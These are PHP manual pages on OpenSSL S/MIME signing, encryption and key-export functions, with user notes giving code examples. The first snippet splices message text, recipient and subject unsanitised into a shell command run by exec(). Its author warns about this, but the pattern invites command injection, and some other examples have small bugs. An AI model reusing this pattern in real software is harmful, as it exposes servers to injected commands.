$execstring=  "echo \"" . $yourbodytext . "\" | /usr/local/ssl/bin/openssl smime -encrypt -rc2-128 -rand /usr/local/apache/yoursecuredir/randomfile -text  -to " .  $recipient . " -from someuser@example.com -subject \"" . $subject . "\"  /usr/local/apache/yoursecuredir/usercerts/someuser.pem | /usr/lib/sendmail -t";

exec($execstring,$returndata,$resultcode);

-------------snippet-------------------

It requires the .pem format for the user certificate.  Assuming you already got a certificate from a commercial CA such as www.thawte.com then it is fairly simple to export it from your browser WITHOUT --REPEAT-- WITHOUT its private key and copy it to the PHP/web server. The export process is browser-specific but assuming MS Internet Explorer you require the menu selection tools -> internet options -> content -> certificates -> (highlight your cert in the list) -> export wizard.

The exported file will probably be in DER-encoded binary
with a name like "whatever.CER" and you need to convert it to Privacy Enhanced message (PEM) format. Typically you would now transfer the file to the *nix machine and the command for doing this conversion is, for example:

/usr/local/ssl/bin/openssl x509 -inform DER -outform PEM -in someuser.cer -out someuser.pem

When adapting this code it is of course as always vital to ensure that the values ($recipient etc.) being passed into the system call are acquired in a clean way that avoids trusting user-supplied data.
glyn at tomkins dot net 03-May-2003 01:50
I have been struggling to get openssl_pkcs7_encrypt() to work just as I need it to do but through my perseverence I have prevailed.  The issues I came across were due to my very incomplete understanding of S/MIME, MIME and email headers.

First, both the example in the manual and the correction offered by msisolak above are also slightly incorrect.  Let me explain in lay terms how the problem arises ...

email messages are constructed as follows

headers
blank line
content

For S/MIME, the message is encrypted (including headers) and further headers are wrapped around the encrypted message, like so:

S/MIME headers
blank line
encrypted MIME headers
encrypted blank line
encrypted content

If you have no headers in what you are encrypting then anything before the 1st blank line is regarded as headers and doesn't appear in the content of your message.

openssl_pkcs7_encrypt() creates the entire encrypted portion so if you do not include any headers in your infile then you will find that some of your message may be treated as headers unless you make the first line of your file a blank line.

There is also an error in the way the "From" S/MIME header is coded on the call to openssl_pkcs7_encrypt().

So the example, to work 100% correctly needs to read as follows:

// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk.  You have his certificate
// in the file nighthawk.pem
//
//Note the first line must be blank as i am providing no headers inside the secure portion of the mail.
$data = <<<EOD

Nighthawk,

Top secret, for your eyes only!

The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!

HQ
EOD;

// load key
$key = implode("", file("my.pem"));

// save message to file
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt("msg.txt", "enc.txt", $key,
  array("To" => "you@yourdomain.com", // keyed syntax
         "From" => "HQ <hq@cia.com>", // indexed syntax
         "Subject" => "Eyes only")))
{
   // message encrypted - send it!
  exec(ini_get("sendmail_path") . " < enc.txt");
}

Now,  I wanted to make a couple of other enhancements. My email contained html content and must be formatted when displayed in the email client and I also wanted to use temporary file names to allow multiple users to use the script at the same time. Finally, I wanted to remove these temporary files afterwards.

Here is how the example ends up with these additional enhancements:

<?

// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk.  You have his certificate
// in the file my.pem
//
//Note the blank line  following the Content-type header
//
$data = <<<EOD
MIME-Version: 1.0
Content-type: text/html; charset=iso-8859-1

<html>
<b>Nighthawk</b>,
<h1>Top secret, for your eyes only!</h1>
<p>The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!</p>
<p>HQ</p>
</html>
EOD;

// load key
$key = implode("", file("my.pem"));

// generate a unique temporary file name.  Use .txt for the clear text version and .enc for the encrypted version.
$clearfile = tempnam("temp","email") . ".txt";
$encfile = $clearfile . ".enc";
$clearfile .= ".txt";

$fp = fopen($clearfile, "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt($clearfile,$encfile, $key,
  array("To" => "you@yourdomain.com", // keyed syntax
         "From" => "HQ <hq@cia.com>", // indexed syntax
         "Subject" => "Eyes only")))
{
   // message encrypted - send it!
  exec(ini_get("sendmail_path") . " < $encfile");

};
// now erase the temp files
unlink($clearfile);
unlink($encfile);

?>
msisolak at yahoo dot com 28-May-2002 12:14
For those trying to use this function from Windows with a key in Outlook or Outlook Express it can be tricky to figure out how to get the key exported in the format that OpenSSL is looking for.  Since all (at least all Microsoft) products share a common key store, it's easier to export the key from IE than Outlook.

In IE select Tools -> Internet Options, then the "Content" tab, and click the Certificates button.  Select your certificate from the list and click the Export button.  To encrypt email you only want your public key exported in the "Base-64 encoded X.509 (.CER)" format.  The file this procedure creates can be directly used as a key file to S/MIME encrypt with openssl-pkcs7-encrypt.
msisolak at yahoo dot com 25-Apr-2002 03:24
The example code is wrong (at least as of 4.2.0).  The recipcerts parameter is either the actual text of the base64 encoded key file, or it must be a filename in "file://..." format.  A normal path will not work (OpenSSL tries to use the path as the actual certificate).  The above code works as:

<?php
// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk.  You have his certificate
// in the file nighthawk.pem
$data = <<<EOD
Nighthawk,

Top secret, for your eyes only!

The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!

HQ
EOD;

// load key
$key = implode("", file("my.pem"));

// save message to file
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt("msg.txt", "enc.txt", $key,
    array("To" => "example@example.com", // keyed syntax
          "From: HQ <hq@cia.com>", // indexed syntax
          "Subject" => "Eyes only")))
{
    // message encrypted - send it!
    exec(ini_get("sendmail_path") . " < enc.txt");
}
?>

[You can also pass an array of recipcerts values, but I haven't used that so I don't know what it's expecting.]
openssl_pkcs7_decrypt
openssl_pkcs7_sign
OpenSSL Functions


Sign an S/MIME message

openssl_pkcs7_encrypt
openssl_pkcs7_verify
OpenSSL Functions
PHP Manual

openssl_pkcs7_sign

(PHP 4 >= 4.0.6, PHP 5)

openssl_pkcs7_sign — Sign an S/MIME message

Description

bool openssl_pkcs7_sign ( string $infilename , string $outfilename , mixed $signcert , mixed $privkey , array $headers [, int $flags = PKCS7_DETACHED [, string $extracerts ]] )

openssl_pkcs7_sign() takes the contents of the file named infilename and signs them using the certificate and its matching private key specified by signcert and privkey parameters.

Parameters

infilename

outfilename

signcert

privkey

headers

headers is an array of headers that will be prepended to the data after it has been signed (see openssl_pkcs7_encrypt() for more information about the format of this parameter).

flags

flags can be used to alter the output - see PKCS7 constants.

extracerts

extracerts specifies the name of a file containing a bunch of extra certificates to include in the signature which can for example be used to help the recipient to verify the certificate that you used.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 openssl_pkcs7_sign() example

<?php
// the message you want to sign so that recipient can be sure it was you that
// sent it
$data = <<<EOD

You have my authorization to spend $10,000 on dinner expenses.

The CEO
EOD;
// save message to file
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);
// encrypt it
if (openssl_pkcs7_sign("msg.txt", "signed.txt", "mycert.pem",
    array("file://mycert.pem", "mypassphrase"),
    array("To" => "joes@example.com", // keyed syntax
          "From: HQ <ceo@example.com>", // indexed syntax
          "Subject" => "Eyes only")
    )) {
    // message signed - send it!
    exec(ini_get("sendmail_path") . " < signed.txt");
}
?>

User Contributed Notes

ungdi at hotmail dot com 11-Feb-2010 05:34
Amongst the many discussions about signing or encrypting email by itself, none really discuss the pain of having an email BOTH signed AND encrypted.

According to RFC 2311, you can encrypt then sign or sign then encrypt. However, it depends on the client in which you are programming for. In my experience, in Outlook 2000, it prefers it Encrypt then Sign. While in Outlook 2003, it is Sign then Encrypt. Generally, you want Sign then Encrypt, as it seems most logical from a snail-mail piece point of view. You first sign a letter than put it in an envelope. Certain clients complain if you do it in an order it does not like, so you may want to experiement with it.

When you perform the first function, do NOT put in any headers in the headers array parameters, you want to put it in the SECOND function you want to perform. If you put the headers in the first function, the second function will hide it from the mail servers. You do not want that. Here I will sign then encrypt.

<?php
// Setup mail headers.
$headers = array("To" => "someone@nowhere.net",
     "From" => "noone@somewhere.net",
     "Subject" => "A signed and encrypted message.");

// Sign the message first
openssl_pkcs7_sign("msg.txt","signed.txt",
     "signing_cert.pem",array("private_key.pem",
     "password"),array());

// Get the public key certificate.
$pubkey = file_get_contents("cert.pem");

//encrypt the message, now put in the headers.
openssl_pkcs7_encrypt("signed.txt", "enc.txt",
     $pubkey,$headers,0,1);

$data = file_get_contents("enc.txt");

// separate header and body, to use with mail function
//  unfortunate but required, else we have two sets of headers
//  and the email client doesn't decode the attachment
$parts = explode("\n\n", $data, 2);

// send mail (headers in the Headers parameter will override those
//  generated for the To & Subject parameters)
mail($mail, $subject, $parts[1], $parts[0]);
?>

Note that if you use a function that picks up the data from the disk to be used in another function in your program, remember that you may have used the explode("\n\n",$data,2) function which may have removed the spacing between the header and the message content.

When you take the signed message and feed it in to the encryption part, you have to remember that the line spacing must also be fed AS PART OF THE MESSAGE BODY! If you plan to sign then encrypt, do not feed the header output from the signing into the encrypting as part of the headers array parameter! The output of the signing should stay as part of the message body being encrypted. (And the same is true if you are doing the reverse of encrypting then signing.) An example of both the signing and encryption function made in to a routine for reusability, and then called to sign and encrypt a message.

THIS IS WRONG!:
<?php
// [0] of Array contains headers of message. [1] of Array contains signed body of message.
$signedOutputArray = signMessage($inputMessage,$headers);

// [0] of Array contains headers of message and the signing.
// [1] of Array contains encrypted body of message without the signing header.
$signedAndEncryptedArray = encryptMessage($signedOutputArray[1],
     $signedOutputArray[0]);

mail($emailAddr,$subject,$signedAndEncryptedArray[1],
      $signedAndEncryptedArray[0]);
?>

THIS IS CORRECT!
<?php
// [0] of Array contains headers of signing.
// [1] of Array contains signed body of message.
$signedOutputArray = signMessage($inputMessage,array());

// [0] of Array contains headers of message.
// [1] of Array contains encrypted contents of both the signed message and its headers of the signing.
$signedAndEncryptedArray =
     encryptMessage($signedOutputArray[0] . "\n\n" . $signedOutputArray[1],$headers);

mail($emailAddr,$subject,$signedAndEncryptedArray[1],
     $signedAndEncryptedArray[0]);
?>
yurchenko dot anton at gmail dot com 01-Feb-2009 10:13
I also spent hours when trying to find the reason of error:
"error getting private key".

Sometimes this error appeared, sometimes not.

My solution is using the realpath() for every parameter of openssl_pkcs7_sign. In my case the code looks like:

<?php
$Certif_path = 'certificate/mycertificate.pem';

$clearfile = "certificate/random_name";
$encfile = $clearfile . ".enc";
$clearfile = $clearfile . ".txt";

// ----
// -- fill $clearfile with the mail to be signed ...
// ----

openssl_pkcs7_sign(realpath($clearfile),
                           realpath('.').'/'.$encfile, // because $encfile does not exist yet we cannot use realpath($encfile);
                           'file://'.realpath($Certif_path),

                           array('file://'.realpath($Certif_path), PUBLIC_KEY),

                           array("To" => TO_EMAIL,
                                 "From" => FROM_EMAIL,
                                 "Subject" => ""),

                           PKCS7_DETACHED));

?>
ungdi at hotmail dot com 10-Feb-2007 01:10
I would like to make a modification from my previous note. Some clients prefer a certain order in which messages should be signed and encrypted (if both is desired). Newer email clients, such as Thunderbird and Outlook 2003 will accept the most secure method of "sign -> encrypt -> sign again".

Why?

The first signing authenticates the message saying that you did indeed write it. Then the email is encrypted so that only the recipient can open and read it. Then the second signing ensure confidentiality by identifying that the person encrypting is the one whom encrypted it, a message intended for the decrypting person. This is the most secure method. This ensures: Non-Repudiation of message (first sign), Confidentiality (encrypt), and Context Integrity [you were intended to be addressed] (second sign).

If you only sign then encrypt, there is no way you can guarantee that (aside from the contents of the letter, headers are placed in plain text outside the message) that the message was intended for you by the original sender. For example:

Bob signs a love letter and encrypts it to Amy saying only "I love you. -- Bob". Amy decrypts it, sees the message (and plays a joke) and forwards the message to John using John's public key, re-encrypting, but not tampering with the message contents keeping the signature valid. This allows Amy to make it look like Bob sent John a love letter and that Bob loves John, as you cannot verify whom sent it during encryption. That is not what you want!

This is also analogous to someone taking a government document, put it in an envelope themselves and write the government address in the return address and send it to you. You know the letter is written by the government, but you don't know for sure whether the government sent it to you directly or was opened and relayed.

While encrypting then signing has a problem, this is affectively signing on the envelope of a snail mail piece. I know you sent it, but is the message really from you? Or are you forwarding it?

Sign - Encrypt - Sign Again method will make the first sign show that you know the writer of the message is the person, encrypt it to keep others from reading it, sign again to indicate the message was not relayed and that the sender intended to sent the mail to address you.

Just make sure the headers of the mail is applied in the last step and not the second or third step.

For more information about the security and integrity risks of this situation, please read this web page: http://world.std.com/~dtd/sign_encrypt/sign_encrypt7.html
dmitri at gmx dot net 04-Apr-2006 01:01
Working example:

<?php

$data = <<< EOF
Content-Type: text/plain;
    charset="us-ascii"
Content-Transfer-Encoding: 7bit

You have my authorization to spend 10,000 on dinner expenses.
The CEO
EOF;

$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

$headers = array("From" => "me@email.com");

openssl_pkcs7_sign("msg.txt", "signed.txt", "file://email.pem", array("file://email.pem", "123456"), $headers);

$data = file_get_contents("signed.txt");

$parts = explode("\n\n", $data, 2);

mail("you@email.com", "Signed message.", $parts[1], $parts[0]);

echo "Email sent";

?>
maarten at xolphin dot nl 11-Feb-2005 02:24
It is also possible to sign message including attachments. An easy way to do this:

<?php
  $boundary = md5(uniqid(time()));
  $boddy = "MIME-Version: 1.0\n";
  $boddy .= "Content-Type: multipart/mixed; boundary=\"" . $boundary. "\"\n";
  $boddy .= "Content-Transfer-Encoding: quoted-printable\n\n";
  $boddy .= "This is a multi-part message in MIME format.\n\n";
  $boddy .= "--$boundary\n";
  $boddy .= "Content-Type: text/plain; charset=\"iso-8859-1\"\n";
  $boddy .= "Content-Transfer-Encoding: quoted-printable\n\n";
  $boddy .= $EmailText . "\n\n";
  // Add the attachment to the message
  do  {
    $boddy .= "--$boundary\n";
    $boddy .= "Content-Type: application/pdf; name=\"FileName\"\n";
    $boddy .= "Content-Transfer-Encoding: base64\n";
    $boddy .= "Content-Disposition: attachment;\n\n";
    $boddy .= chunk_split(base64_encode($file)) . "\n\n";
  } while ( {files left to be attached} );
  $boddy .= "--$boundary--\n";

  // Save message to a file
  $msg = 'msg.txt';
  $signed = 'signed.txt';
  $fp = fopen($msg, "w");
  fwrite($fp, $boddy);
  fclose($fp);

  // Sign it
  if (openssl_pkcs7_sign($msg, $signed, 'file://cert.pem',
    array('file://key.pem', 'test'),
    array("To" => "joes@example.com", // keyed syntax
         "From: HQ <ceo@example.com>", // indexed syntax
         "Subject" => "Eyes only"), PKCS7_DETACHED, 'intermediate_cert.pem' )) {
    exec(ini_get('sendmail_path') . ' < ' . $signed);
  }
?>

The same can be established by using the PEAR package Mail_Mime in combination with openssl_pkcs7_sign.
Maciej_Niemir at ilim dot poznan dot pl 17-Oct-2003 07:46
This command doesn't work correctly on WIN32 with IIS. Mails aren’t interpreted correctly by IIS SMTP Server (and by Outlook too). The reason is that UNIX and WINDOWS interpret the “enter to the next line” ascii code in a different way.

Below I present an improved code:

<?php

$data = <<<EOD

Testing 123

This is a test

Test

EOD;

//save the message to a file
$fp = fopen("msg.txt","w");
fwrite($fp,$data);
fclose($fp);

//sign the message using the sender's keys
openssl_pkcs7_sign("msg.txt", "signed.eml", "file://c:/max/cert.pem",
array("file://c:/max/priv.pem","your_password"),
array("To" => "recipient <recipients@mail.com>",
"From" => "sender <sender@mail.com>",
"Subject" => "Order Notification - Test"),PKCS7_DETACHED,"c:\max\extra_cert.pem");

$file_arry = file("signed.eml");
$file = join ("", $file_arry);
$message = preg_replace("/\r\n|\r|\n/", "\r\n", $file);

$fp = fopen("c:\Inetpub\mailroot\Pickup\signed.eml", "wb");
flock($fp, 2);
fputs($fp, $message);
flock($fp, 3);
fclose($fp);

?>

Besides, if you want to use the keys created with Windows, you should export them (from IE) to the form of PKCS#12 file (*.pfx).

Install OpenSSLWin32 from
http://www.shininglightpro.com/search.php?searchname=Win32+OpenSSL

execute: openssl.exe

enter the commands:

pkcs12 -in <pfx-file> -nokeys -out <pem-certs-file>

pkcs12 -in <pfx-file> -nocerts -nodes -out <pem-key-file>

Next export from IE Root CA certificate as Base-64 *.cer and rename the file to *.pem

And that's all!
php at toyingwithfate dot com 23-Sep-2003 02:55
It's probably worth noting that I had a great deal of difficulty getting either Mozilla 1.4 or Outlook Express 6 to verify signatures generated by openssl_pkcs7_sign() until I added a newline (\n) to the beginning of the message I was signing.  Not sure why that is, but as soon as I made that change all problems disappeared.
del at babel dot com dot au 03-May-2002 03:09
The "mycert.pem" parameters as shown in the example above are not correct.  You either have to pass a string containing the PEM encoded certificate or key, or the location of a file in file://path/to/file.pem notation.  See the comments on the OpenSSL functions page (the page above this one).
meint dot post at bigfoot dot com 04-Sep-2001 04:35
If you want to integrate PKCS7 signing/verifying with a browser and it's not a problem that it's only Internet Explorer (or Netscape + ActiveX plugin) you can look at Capicom. It's a free component and available at the MSDN website.
openssl_pkcs7_encrypt
openssl_pkcs7_verify
OpenSSL Functions


Verifies the signature of an S/MIME signed message

openssl_pkcs7_sign
openssl_pkey_export_to_file
OpenSSL Functions
PHP Manual

openssl_pkcs7_verify

(PHP 4 >= 4.0.6, PHP 5)

openssl_pkcs7_verify — Verifies the signature of an S/MIME signed message

Description

mixed openssl_pkcs7_verify ( string $filename , int $flags [, string $outfilename [, array $cainfo [, string $extracerts [, string $content ]]]] )

openssl_pkcs7_verify() reads the S/MIME message contained in the given file and examines the digital signature.

Parameters

filename

Path to the message.

flags

flags can be used to affect how the signature is verified - see PKCS7 constants for more information.

outfilename

If the outfilename is specified, it should be a string holding the name of a file into which the certificates of the persons that signed the messages will be stored in PEM format.

cainfo

If the cainfo is specified, it should hold information about the trusted CA certificates to use in the verification process - see certificate verification for more information about this parameter.

extracerts

If the extracerts is specified, it is the filename of a file containing a bunch of certificates to use as untrusted CAs.

content

You can specify a filename with content that will be filled with the verified data, but with the signature information stripped.

Return Values

Returns TRUE if the signature is verified, FALSE if it is not correct (the message has been tampered with, or the signing certificate is invalid), or -1 on error.

Changelog

Version | Description
5.1.0 | The content parameter was added.

Notes

Note: As specified in RFC 2045, lines may not be longer than 76 characters in the filename parameter.

User Contributed Notes

13-Feb-2006 04:59
There is a hidden sixth argument: string pointing to a file where the contents of the signed message should be saved.

It is very important for verifying signed and encrypted messages from MS Outlook which uses opaque signing. After decrypting of message you will get another MIME envelope like this:

MIME-Version: 1.0
Content-Disposition: attachment; filename="smime.p7m"
Content-Type: application/x-pkcs7-mime; smime-type=signed-data; name="smime.p7m"
Content-Transfer-Encoding: base64

MIIM/QYJ...

Even if you use base64_decode() you will not get decrypted message but PKCS #7 object.

BTW: How to create opaque signed message like from MS Outlook? Switch off PKCS7_DETACHED flag (the last 0 does it):

<?php
openssl_pkcs7_sign(
    "full_path_to_message_file",
    "full_path_where_to_store_signed_message_file",
    "file://full_path_to_my_public_certificate.pem",
    array("file://full_path_to_my_private_key.pem", "password"),
    array(),
    0
  );
?>
openssl_pkcs7_sign
openssl_pkey_export_to_file
OpenSSL Functions


Gets an exportable representation of a key into a file

openssl_pkcs7_verify
openssl_pkey_export
OpenSSL Functions
PHP Manual

openssl_pkey_export_to_file

(PHP 4 >= 4.2.0, PHP 5)

openssl_pkey_export_to_file — Gets an exportable representation of a key into a file

Description

bool openssl_pkey_export_to_file ( mixed $key , string $outfilename [, string $passphrase [, array $configargs ]] )

openssl_pkey_export_to_file() saves an ascii-armoured (PEM encoded) rendition of key into the file named by outfilename.

Note: You need to have a valid openssl.cnf installed for this function to operate correctly. See the notes under the installation section for more information.

Parameters

key

outfilename

Path to the output file.

passphrase

The key can be optionally protected by a passphrase.

configargs

configargs can be used to fine-tune the export process by specifying and/or overriding options for the openssl configuration file. See openssl_csr_new() for more information about configargs.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
openssl_pkcs7_verify
openssl_pkey_export
OpenSSL Functions


Gets an exportable representation of a key into a string

openssl_pkey_export_to_file
openssl_pkey_free
OpenSSL Functions
PHP Manual

openssl_pkey_export

(PHP 4 >= 4.2.0, PHP 5)

openssl_pkey_export — Gets an exportable representation of a key into a string

Description

bool openssl_pkey_export ( mixed $key , string &$out [, string $passphrase [, array $configargs ]] )

openssl_pkey_export() exports key as a PEM encoded string and stores it into out (which is passed by reference).

Note: You need to have a valid openssl.cnf installed for this function to operate correctly. See the notes under the installation section for more information.

Parameters

key

out

passphrase

The key is optionally protected by passphrase.

configargs

configargs can be used to fine-tune the export process by specifying and/or overriding options for the openssl configuration file. See openssl_csr_new() for more information about configargs.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

chris dot kistner at gmail dot com 13-Jan-2011 08:51
Please take note that older versions of PHP/OpenSSL exports the RSA private key with '-----BEGIN RSA PRIVATE KEY-----' PEM tag, which includes just the privateKey field, thus omitting the version and privateKeyAlgorithm fields.

The effect of that would be that if you're converting it to DER, and then back to PEM, but using '-----BEGIN PRIVATE KEY-----' PEM tag, that the openssl_pkey_get_privatekey() function will fail!

Senthryl's code can be used to prefix the PEM encoded data with the version and privateKeyAlgorithm fields again.

The newer PHP/OpenSSL versions exports the RSA private key with '-----BEGIN PRIVATE KEY-----' PEM tag, which includes the version and privateKeyAlgorithm fields.

I noticed these differences between my two servers:
PHP Version 5.3.3 (OpenSSL 1.0.0a-fips 1 Jun 2010) on Fedora Core 12 x64
PHP Version 5.2.9 (OpenSSL 0.9.8g 19 Oct 2007) on Fedora Core 10 x64
Senthryl 25-Jan-2010 11:06
This function can be used to create a private key for use by JCE in Java.  For example, a private key could be generated by a PHP script and the result could be used in a Java client application.

Java requires the private key in DER format with some extra ASN.1 wrapping.  The function below can be used to convert the output of openssl_pkey_export into a format suitable for input into JCE:

<?php
    function derLength($length) {
        if ($length < 128) return str_pad(dechex($length), 2, '0', STR_PAD_LEFT);
        $output = dechex($length);
        if (strlen($output) % 2 != 0) $output = '0'.$output;
        return dechex(128 + strlen($output)/2) . $output;
    }
    function convertPemToDer($pem) {
        $matches = array();
        if (!preg_match('~^-----BEGIN ([A-Z ]+)-----\s*?([A-Za-z0-9+=/\r\n]+)\s*?-----END \1-----\s*$~D', $pem, $matches)) {
            die('Invalid PEM format encountered.'."\n");
        }
        $derData = base64_decode(str_replace(array("\r", "\n"), array('', ''), $matches[2]));
        $derData = pack('H*', '020100300d06092a864886f70d010101050004'.derLength(strlen($derData))) . $derData;
                $derData = pack('H*', '30'.derLength(strlen($derData))) . $derData;
                return $derData;
    }
?>

Example use:
<?php
    $keys = openssl_pkey_new(array('digest_alg' => 'sha1', 'private_key_type' => OPENSSL_KEYTYPE_RSA, 'private_key_bits' => 2048));
    if ($keys === false) die('Failed to generate key pair.'."\n");
    if (!openssl_pkey_export($keys, $privateKey)) die('Failed to retrieve private key.'."\n");
    $javaKey = convertPemToDer($privateKey);

    file_put_contents('key_for_java.der', $javaKey);
?>

Exporting a public key for use with JCE is trickier, since the Java libraries require the key to be input as a byte array.  In effect, the public key outputted by openssl_pkey_get_details() must be base64 decoded as above, and then parsed as ASN.1 to receive the actual key bytes (this can be done either on the PHP side or the Java side).

The following link is an invaluable resource to understanding the output from these functions:
"A Layman's Guide to a Subset of ASN.1, BER, and DER"
http://luca.ntop.org/Teaching/Appunti/asn1.html
Tk at phpRocks dot net 02-May-2009 07:58
Complete example to encrypt data...
=)
<pre>
<?php
// Create the keypair
$res=openssl_pkey_new();

// Get private key
openssl_pkey_export($res, $privkey, "PassPhrase number 1" );

// Get public key
$pubkey=openssl_pkey_get_details($res);
$pubkey=$pubkey["key"];
//var_dump($privkey);
//var_dump($pubkey);

// Create the keypair
$res2=openssl_pkey_new();

// Get private key
openssl_pkey_export($res2, $privkey2, "This is a passPhrase *µà" );

// Get public key
$pubkey2=openssl_pkey_get_details($res2);
$pubkey2=$pubkey2["key"];
var_dump($privkey2);
var_dump($pubkey2);

$data = "Only I know the purple fox. Trala la !";

openssl_seal($data, $sealed, $ekeys, array($pubkey, $pubkey2));

var_dump("sealed");
var_dump(base64_encode($sealed));
var_dump(base64_encode($ekeys[0]));
var_dump(base64_encode($ekeys[1]));

// decrypt the data and store it in $open
if (openssl_open($sealed, $open, $ekeys[1], openssl_pkey_get_private  ($privkey2  ,"This is a passPhrase *µà" ) ) ) {
    echo "here is the opened data: ", $open;
} else {
    echo "failed to open data";
}

?>
</pre>

Outputs :
string(963) "-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,DA1943487C9C83B2

1/j65PJgfYqYMJSWRBk9UzXaa3USMdpkq4ztzL7IPMTPgTwVKxZbvBxzsGUXUmh6
dkWpF1jzi3B44o06mw55t2LHNkGAph/iKVP4Zvnyp/KWaZJSF+pNkvukle1u2/40
WpbNy1f8LA+ZDr7ICOCY1jy/bz/xzOCrVjqY/F4ukQik9M6bL9ZwI5fyhrcHq6EG
KsUX49XKtP/a+kQhluejzIw1aDBqmHpJTCzkL7teCk6l8x8r8mMmss1D9XqggjFm
TQncqR6IU5DClklO53JdWSFC5zTcFYMgq9lMwCQ5o4bs8iBKiE+TOFEKiggtn5zA
v189tlPtM6YePcXAm5Ymgy90Ovq3lGS4k+JkCB2Hm3HgUAB3pd9v3fOeyuFMeing
XHBuLR5nmWITzcfRuAsh0p9xe2puTVFdrLkrQFnh5Xkerm+YUQ6oTecTKRFq7S3l
hLlFIg7KbXxDjg3H5f87DCEp/isV70Rc7flvIBP6u5GX+GrmCFWjQxmGefEJQ5fZ
P7sOzHEdkOHZV7yYn+5MwQ4vDHLKQxvMqUolgvuEAzcL1o976KHAQP0accmwApXz
jry3zVqRnGvyPHo+nGwRiATJj0lAgX/j8cghJg+oo+TiXD2cM5i+Hut4dmImZNDL
3Fn2uLzklQHPlaoaz2dACyaN/sUtmVLtdnn00nuwIy2xDfHDl9MOQ6WHocU78DWo
Mw+x8B+SBsALm3Ah6JzqA8l3OAYSRxjp7YQXLQLkdCi7jEjjTl/0NVTnqU+W89XB
GBH3r8ZgIpifl3M7ZYTKLnToNL7Y/AehPs+tKgFHkXtGMKu4cIt9Ag==
-----END RSA PRIVATE KEY-----
"
string(272) "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDH82E/Dn37torKz/vhAkpji9ZS
HCyfM7JuXCbh70F75Zh2/rEVvz38yNf6f01DNXiSpzO5eTmoXD7Blsb635AOjYbl
X/WljpFbwQ2QUUDlNDAslrqXYlMzht2MCq/pjtGgk0zJx6i+HjFyV7mebeePQY/x
NOzMpmy/Ke3u+SSHRwIDAQAB
-----END PUBLIC KEY-----
"
string(6) "sealed"
string(52) "y4L3+SDVJwTfa9Em61R3X2p/LElr8N/xPCXw8kqm0co4bn3V1Tw="
string(172) "ezUo2rWLGHPv9bHE5gG8fe5qy8erGlITsSs+qGr2o8aoi98SLnyIFm4N
EQWJrmU43Ehlw72NujJ
B8chYNw2NkIDfaLChvLH54CBuCfyuF+1lWEAUwL8
FU1LftqIIt1ikjSu/8qFU6S6wikJx1pFf1IbXfOeeJVvZ1UJM2rBbudI="
string(172) "RPYLXGBXDnXDIUrFy1/GOM+//Ew/mn2syKDbhIegOJJPnpd
X6ffwXkWH5Bp8kOdz0aO9gK3whG+c
/QF+9eqcTw9SvvlrDqsP0gkRGNIOgMUiBFLoMT92JQWSI7ZesDAU0
JPRWpXsKaIOEkBGmxOMYfEd6OJWp0Mwe4COL3lP2PQ="
here is the opened data: Only I know the purple fox. Trala la !
07-May-2007 12:31
you can get public key using openssl_pkey_get_details(resource $key ) function:

<?php

$pub_key = openssl_pkey_get_public(file_get_contents('./cert.crt'));
$keyData = openssl_pkey_get_details($pub_key);
fule_put_contents('./key.pub', $keyData['key']);

?>
robbat2 at gentoo dot org 09-Aug-2004 11:47
Warning, this function is NOT capable of exporting PEM-encoded public keys. It can only export private keys.
openssl_pkey_export_to_file
openssl_pkey_free
OpenSSL Functions


Frees a private key

openssl_pkey_export
openssl_pkey_get_details
OpenSSL Functions
PHP Manual

openssl_pkey_free

(PHP 4 >= 4.2.0, PHP 5)

openssl_pkey_free — Frees a private key

Description

void openssl_pkey_free ( resource $key )

This function frees a private key created by openssl_pkey_new().

Parameters

key

Resource holding the key.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
openssl_pkey_export
openssl_pkey_get_details
OpenSSL Functions


Returns an array with the key details

openssl_pkey_free
openssl_pkey_get_private
OpenSSL Functions
PHP Manual

openssl_pkey_get_details

(PHP 5 >= 5.2.0)

openssl_pkey_get_details — Returns an array with the key details

Description

array openssl_pkey_get_details ( resource $key )

This function returns the key details (bits, key, type).

Parameters

key

Resource holding the key.

Return Values

Returns an array with the key details in success or FALSE in failure. Returned array has indexes bits (number of bits), key (string representation of the public key) and type (type of the key which is one of OPENSSL_KEYTYPE_RSA, OPENSSL_KEYTYPE_DSA, OPENSSL_KEYTYPE_DH, OPENSSL_KEYTYPE_EC or -1 meaning unknown).

Depending on the key type used, additional details may be returned. Note that some elements may not always be available.

  • OPENSSL_KEYTYPE_RSA, an additional array key named "rsa", containing the key data is returned.
    Key Description
    "n"
    "e"
    "d"
    "p"
    "q"
    "dmp1"
    "dmq1"
    "iqmp"
  • OPENSSL_KEYTYPE_DSA, an additional array key named "dsa", containing the key data is returned.
    Key Description
    "p"
    "q"
    "g"
    "priv_key"
    "pub_key"
  • OPENSSL_KEYTYPE_DH, an additional array key named "dh", containing the key data is returned.
    Key Description
    "p"
    "g"
    "priv_key"
    "pub_key"

User Contributed Notes

There are no user contributed notes for this page.
openssl_pkey_free
openssl_pkey_get_private
OpenSSL Functions


Get a private key

openssl_pkey_get_details
openssl_pkey_get_public
OpenSSL Functions
PHP Manual

openssl_pkey_get_private

(PHP 4 >= 4.2.0, PHP 5)

openssl_pkey_get_private — Get a private key

Description

resource openssl_pkey_get_private ( mixed $key [, string $passphrase = "" ] )

openssl_get_privatekey() parses key and prepares it for use by other functions.

Parameters

key

key can be one of the following:

  1. a string having the format file://path/to/file.pem. The named file must contain a PEM encoded certificate/private key (it may contain both).
